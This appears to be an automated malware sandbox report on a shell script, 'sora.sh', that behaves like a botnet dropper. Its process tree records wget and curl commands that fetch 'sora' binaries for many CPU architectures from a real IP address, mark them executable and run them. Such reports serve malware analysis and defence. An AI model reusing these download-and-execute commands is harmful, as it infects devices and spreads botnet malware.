Analysis

  • max time kernel
    31s
  • max time network
    35s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    29-08-2024 20:35

General

  • Target

    sora.sh

  • Size

    2KB

  • MD5

    23ce60917752705f59bde8ca8569c3d6

  • SHA1

    651959b325ca119ccc280a706ef57da197df6dfb

  • SHA256

    c4575e4be3ce1429bf36332d68ad7aa6612852748f0a94067e6936433c26f344

  • SHA512

    9ce028bb852c3e0b67c66f55cd9b91a2498acccdb80b80220a3a99ca714521de13a1da5c9184ba6732bdb793df98effa7b5a511a5a3f5d30b57de6e88839329b

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 14 IoCs
  • Checks CPU configuration 1 TTPs 14 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 28 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/sora.sh
    /tmp/sora.sh
    1⤵
    • Writes file to tmp directory
    PID:666
    • /usr/bin/wget
      wget http://188.127.247.15/bins/sora.x86
      2⤵
        PID:673
      • /usr/bin/curl
        curl -O http://188.127.247.15/bins/sora.x86
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        PID:678
      • /bin/cat
        cat sora.x86
        2⤵
          PID:687
        • /bin/chmod
          chmod +x robben sora.sh systemd-private-30bdf15447424eac9e960936d0a07f4a-systemd-timedated.service-Jtus07
          2⤵
            PID:690
          • /tmp/robben
            ./robben Payload
            2⤵
            • Executes dropped EXE
            PID:692
          • /usr/bin/wget
            wget http://188.127.247.15/bins/sora.mips
            2⤵
              PID:694
            • /usr/bin/curl
              curl -O http://188.127.247.15/bins/sora.mips
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              PID:697
            • /bin/cat
              cat sora.mips
              2⤵
                PID:703
              • /bin/chmod
                chmod +x robben sora.sh systemd-private-30bdf15447424eac9e960936d0a07f4a-systemd-timedated.service-Jtus07
                2⤵
                  PID:704
                • /tmp/robben
                  ./robben Payload
                  2⤵
                  • Executes dropped EXE
                  PID:705
                • /usr/bin/wget
                  wget http://188.127.247.15/bins/sora.x86_64
                  2⤵
                    PID:707
                  • /usr/bin/curl
                    curl -O http://188.127.247.15/bins/sora.x86_64
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    PID:708
                  • /bin/cat
                    cat sora.x86_64
                    2⤵
                      PID:709
                    • /bin/chmod
                      chmod +x robben sora.sh systemd-private-30bdf15447424eac9e960936d0a07f4a-systemd-timedated.service-Jtus07
                      2⤵
                        PID:710
                      • /tmp/robben
                        ./robben Payload
                        2⤵
                        • Executes dropped EXE
                        PID:711
                      • /usr/bin/wget
                        wget http://188.127.247.15/bins/sora.i468
                        2⤵
                          PID:714
                        • /usr/bin/curl
                          curl -O http://188.127.247.15/bins/sora.i468
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          PID:715
                        • /bin/cat
                          cat sora.i468
                          2⤵
                            PID:717
                          • /bin/chmod
                            chmod +x robben sora.sh systemd-private-30bdf15447424eac9e960936d0a07f4a-systemd-timedated.service-Jtus07
                            2⤵
                              PID:719
                            • /tmp/robben
                              ./robben Payload
                              2⤵
                              • Executes dropped EXE
                              PID:720
                            • /usr/bin/wget
                              wget http://188.127.247.15/bins/sora.i686
                              2⤵
                                PID:722
                              • /usr/bin/curl
                                curl -O http://188.127.247.15/bins/sora.i686
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                PID:725
                              • /bin/cat
                                cat sora.i686
                                2⤵
                                  PID:728
                                • /bin/chmod
                                  chmod +x robben sora.sh systemd-private-30bdf15447424eac9e960936d0a07f4a-systemd-timedated.service-Jtus07
                                  2⤵
                                    PID:730
                                  • /tmp/robben
                                    ./robben Payload
                                    2⤵
                                    • Executes dropped EXE
                                    PID:732
                                  • /usr/bin/wget
                                    wget http://188.127.247.15/bins/sora.mpsl
                                    2⤵
                                      PID:734
                                    • /usr/bin/curl
                                      curl -O http://188.127.247.15/bins/sora.mpsl
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      PID:737
                                    • /bin/cat
                                      cat sora.mpsl
                                      2⤵
                                        PID:740
                                      • /bin/chmod
                                        chmod +x robben sora.sh systemd-private-30bdf15447424eac9e960936d0a07f4a-systemd-timedated.service-Jtus07
                                        2⤵
                                          PID:741
                                        • /tmp/robben
                                          ./robben Payload
                                          2⤵
                                          • Executes dropped EXE
                                          PID:743
                                        • /usr/bin/wget
                                          wget http://188.127.247.15/bins/sora.arm4
                                          2⤵
                                            PID:746
                                          • /usr/bin/curl
                                            curl -O http://188.127.247.15/bins/sora.arm4
                                            2⤵
                                            • Checks CPU configuration
                                            • Reads runtime system information
                                            PID:749
                                          • /bin/cat
                                            cat sora.arm4
                                            2⤵
                                              PID:752
                                            • /bin/chmod
                                              chmod +x robben sora.sh systemd-private-30bdf15447424eac9e960936d0a07f4a-systemd-timedated.service-Jtus07
                                              2⤵
                                                PID:755
                                              • /tmp/robben
                                                ./robben Payload
                                                2⤵
                                                • Executes dropped EXE
                                                PID:756
                                              • /usr/bin/wget
                                                wget http://188.127.247.15/bins/sora.arm5
                                                2⤵
                                                  PID:759
                                                • /usr/bin/curl
                                                  curl -O http://188.127.247.15/bins/sora.arm5
                                                  2⤵
                                                  • Checks CPU configuration
                                                  • Reads runtime system information
                                                  PID:761
                                                • /bin/cat
                                                  cat sora.arm5
                                                  2⤵
                                                    PID:770
                                                  • /bin/chmod
                                                    chmod +x robben sora.sh systemd-private-30bdf15447424eac9e960936d0a07f4a-systemd-timedated.service-Jtus07
                                                    2⤵
                                                      PID:772
                                                    • /tmp/robben
                                                      ./robben Payload
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:775
                                                    • /usr/bin/wget
                                                      wget http://188.127.247.15/bins/sora.arm6
                                                      2⤵
                                                        PID:778
                                                      • /usr/bin/curl
                                                        curl -O http://188.127.247.15/bins/sora.arm6
                                                        2⤵
                                                        • Checks CPU configuration
                                                        • Reads runtime system information
                                                        PID:780
                                                      • /bin/cat
                                                        cat sora.arm6
                                                        2⤵
                                                          PID:786
                                                        • /bin/chmod
                                                          chmod +x robben sora.sh systemd-private-30bdf15447424eac9e960936d0a07f4a-systemd-timedated.service-Jtus07
                                                          2⤵
                                                            PID:788
                                                          • /tmp/robben
                                                            ./robben Payload
                                                            2⤵
                                                            • Executes dropped EXE
                                                            PID:790
                                                          • /usr/bin/wget
                                                            wget http://188.127.247.15/bins/sora.arm7
                                                            2⤵
                                                              PID:792
                                                            • /usr/bin/curl
                                                              curl -O http://188.127.247.15/bins/sora.arm7
                                                              2⤵
                                                              • Checks CPU configuration
                                                              • Reads runtime system information
                                                              PID:796
                                                            • /bin/cat
                                                              cat sora.arm7
                                                              2⤵
                                                                PID:798
                                                              • /bin/chmod
                                                                chmod +x robben sora.sh systemd-private-30bdf15447424eac9e960936d0a07f4a-systemd-timedated.service-Jtus07
                                                                2⤵
                                                                  PID:800
                                                                • /tmp/robben
                                                                  ./robben Payload
                                                                  2⤵
                                                                  • Executes dropped EXE
                                                                  PID:801
                                                                • /usr/bin/wget
                                                                  wget http://188.127.247.15/bins/sora.ppc
                                                                  2⤵
                                                                    PID:803
                                                                  • /usr/bin/curl
                                                                    curl -O http://188.127.247.15/bins/sora.ppc
                                                                    2⤵
                                                                    • Checks CPU configuration
                                                                    • Reads runtime system information
                                                                    PID:804
                                                                  • /bin/cat
                                                                    cat sora.ppc
                                                                    2⤵
                                                                      PID:805
                                                                    • /bin/chmod
                                                                      chmod +x robben sora.sh systemd-private-30bdf15447424eac9e960936d0a07f4a-systemd-timedated.service-Jtus07
                                                                      2⤵
                                                                        PID:806
                                                                      • /tmp/robben
                                                                        ./robben Payload
                                                                        2⤵
                                                                        • Executes dropped EXE
                                                                        PID:807
                                                                      • /usr/bin/wget
                                                                        wget http://188.127.247.15/bins/sora.ppc440fp
                                                                        2⤵
                                                                          PID:809
                                                                        • /usr/bin/curl
                                                                          curl -O http://188.127.247.15/bins/sora.ppc440fp
                                                                          2⤵
                                                                          • Checks CPU configuration
                                                                          • Reads runtime system information
                                                                          PID:810
                                                                        • /bin/cat
                                                                          cat sora.ppc440fp
                                                                          2⤵
                                                                            PID:811
                                                                          • /bin/chmod
                                                                            chmod +x robben sora.sh systemd-private-30bdf15447424eac9e960936d0a07f4a-systemd-timedated.service-Jtus07
                                                                            2⤵
                                                                              PID:812
                                                                            • /tmp/robben
                                                                              ./robben Payload
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              PID:813
                                                                            • /usr/bin/wget
                                                                              wget http://188.127.247.15/bins/sora.m68k
                                                                              2⤵
                                                                                PID:815
                                                                              • /usr/bin/curl
                                                                                curl -O http://188.127.247.15/bins/sora.m68k
                                                                                2⤵
                                                                                • Checks CPU configuration
                                                                                • Reads runtime system information
                                                                                PID:816
                                                                              • /bin/cat
                                                                                cat sora.m68k
                                                                                2⤵
                                                                                  PID:823
                                                                                • /bin/chmod
                                                                                  chmod +x robben sora.sh
                                                                                  2⤵
                                                                                    PID:826
                                                                                  • /tmp/robben
                                                                                    ./robben Payload
                                                                                    2⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:828
                                                                                  • /usr/bin/wget
                                                                                    wget http://188.127.247.15/bins/sora.sh4
                                                                                    2⤵
                                                                                      PID:830
                                                                                    • /usr/bin/curl
                                                                                      curl -O http://188.127.247.15/bins/sora.sh4
                                                                                      2⤵
                                                                                      • Checks CPU configuration
                                                                                      • Reads runtime system information
                                                                                      PID:833
                                                                                    • /bin/cat
                                                                                      cat sora.sh4
                                                                                      2⤵
                                                                                        PID:836
                                                                                      • /bin/chmod
                                                                                        chmod +x robben sora.sh
                                                                                        2⤵
                                                                                          PID:837
                                                                                        • /tmp/robben
                                                                                          ./robben Payload
                                                                                          2⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:838

                                                                                      Network

                                                                                      MITRE ATT&CK Enterprise v15

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